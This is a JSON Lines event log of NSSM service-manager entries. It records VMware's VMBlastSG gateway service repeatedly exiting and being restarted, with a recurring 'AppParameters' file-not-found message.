{"@timestamp":1646761166098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162397}}
{"@timestamp":1646761166098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162398}}
{"@timestamp":1646761166099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162399}}
{"@timestamp":1646761294593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162400}}
{"@timestamp":1646761294595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162401}}
{"@timestamp":1646761294596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159372","0"]}}},"module":"Application","provider":"nssm","sequence":162402}}
{"@timestamp":1646761294596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159372","159372","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162403}}
{"@timestamp":1646761294613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162404}}
{"@timestamp":1646761294613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162405}}
{"@timestamp":1646761294614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162406}}
{"@timestamp":1646761294614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162407}}
{"@timestamp":1646761423113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162408}}
{"@timestamp":1646761423115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162409}}
{"@timestamp":1646761423115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158092","0"]}}},"module":"Application","provider":"nssm","sequence":162410}}
{"@timestamp":1646761423116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158092","158092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162411}}
{"@timestamp":1646761423133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162412}}
{"@timestamp":1646761423134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162413}}
{"@timestamp":1646761423135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162414}}
{"@timestamp":1646761423135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162415}}
{"@timestamp":1646761551641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162416}}
{"@timestamp":1646761551642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162417}}
{"@timestamp":1646761551643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158824","0"]}}},"module":"Application","provider":"nssm","sequence":162418}}
{"@timestamp":1646761551643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158824","158824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162419}}
{"@timestamp":1646761551659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162420}}
{"@timestamp":1646761551660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162421}}
{"@timestamp":1646761551660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162422}}
{"@timestamp":1646761551661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162423}}
{"@timestamp":1646761680145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162424}}
{"@timestamp":1646761680146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162425}}
{"@timestamp":1646761680147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158772","0"]}}},"module":"Application","provider":"nssm","sequence":162426}}
{"@timestamp":1646761680148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158772","158772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162427}}
{"@timestamp":1646761680164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162428}}
{"@timestamp":1646761680165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162429}}
{"@timestamp":1646761680165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162430}}
{"@timestamp":1646761680166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162431}}
{"@timestamp":1646761822174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162432}}
{"@timestamp":1646761822175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162433}}
{"@timestamp":1646761822175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159192","0"]}}},"module":"Application","provider":"nssm","sequence":162434}}
{"@timestamp":1646761822176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159192","159192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162435}}
{"@timestamp":1646761822186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162436}}
{"@timestamp":1646761822187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162437}}
{"@timestamp":1646761822187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162438}}
{"@timestamp":1646761822188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162439}}
{"@timestamp":1646761943265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162440}}
{"@timestamp":1646761943267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162441}}
{"@timestamp":1646761943267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159064","0"]}}},"module":"Application","provider":"nssm","sequence":162442}}
{"@timestamp":1646761943268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159064","159064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162443}}
{"@timestamp":1646761943284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162444}}
{"@timestamp":1646761943284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162445}}
{"@timestamp":1646761943285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162446}}
{"@timestamp":1646761943285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162447}}
{"@timestamp":1646762071662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162448}}
{"@timestamp":1646762071664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162449}}
{"@timestamp":1646762071665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159080","0"]}}},"module":"Application","provider":"nssm","sequence":162450}}
{"@timestamp":1646762071665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159080","159080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162451}}
{"@timestamp":1646762071683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162452}}
{"@timestamp":1646762071684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162453}}
{"@timestamp":1646762071684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162454}}
{"@timestamp":1646762071685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162455}}
{"@timestamp":1646762198553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162456}}
{"@timestamp":1646762198553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162457}}
{"@timestamp":1646762198554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159228","0"]}}},"module":"Application","provider":"nssm","sequence":162458}}
{"@timestamp":1646762198554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159228","159228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162459}}
{"@timestamp":1646762198570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162460}}
{"@timestamp":1646762198571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162461}}
{"@timestamp":1646762198571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162462}}
{"@timestamp":1646762198572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162463}}
{"@timestamp":1646762326641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162464}}
{"@timestamp":1646762326642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162465}}
{"@timestamp":1646762326643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159516","0"]}}},"module":"Application","provider":"nssm","sequence":162466}}
{"@timestamp":1646762326644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159516","159516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162467}}
{"@timestamp":1646762326662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162468}}
{"@timestamp":1646762326662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162469}}
{"@timestamp":1646762326663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162470}}
{"@timestamp":1646762326664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162471}}
{"@timestamp":1646762454955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162472}}
{"@timestamp":1646762454957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162473}}
{"@timestamp":1646762454957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159720","0"]}}},"module":"Application","provider":"nssm","sequence":162474}}
{"@timestamp":1646762454958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159720","159720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162475}}
{"@timestamp":1646762454973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162476}}
{"@timestamp":1646762454974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162477}}
{"@timestamp":1646762454974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162478}}
{"@timestamp":1646762454975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162479}}
{"@timestamp":1646762583270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162480}}
{"@timestamp":1646762583272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162481}}
{"@timestamp":1646762583272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159440","0"]}}},"module":"Application","provider":"nssm","sequence":162482}}
{"@timestamp":1646762583273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159440","159440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162483}}
{"@timestamp":1646762583289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162484}}
{"@timestamp":1646762583290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162485}}
{"@timestamp":1646762583290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162486}}
{"@timestamp":1646762583291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162487}}
{"@timestamp":1646762711706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162488}}
{"@timestamp":1646762711707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162489}}
{"@timestamp":1646762711708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159232","0"]}}},"module":"Application","provider":"nssm","sequence":162490}}
{"@timestamp":1646762711709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159232","159232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162491}}
{"@timestamp":1646762711724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162492}}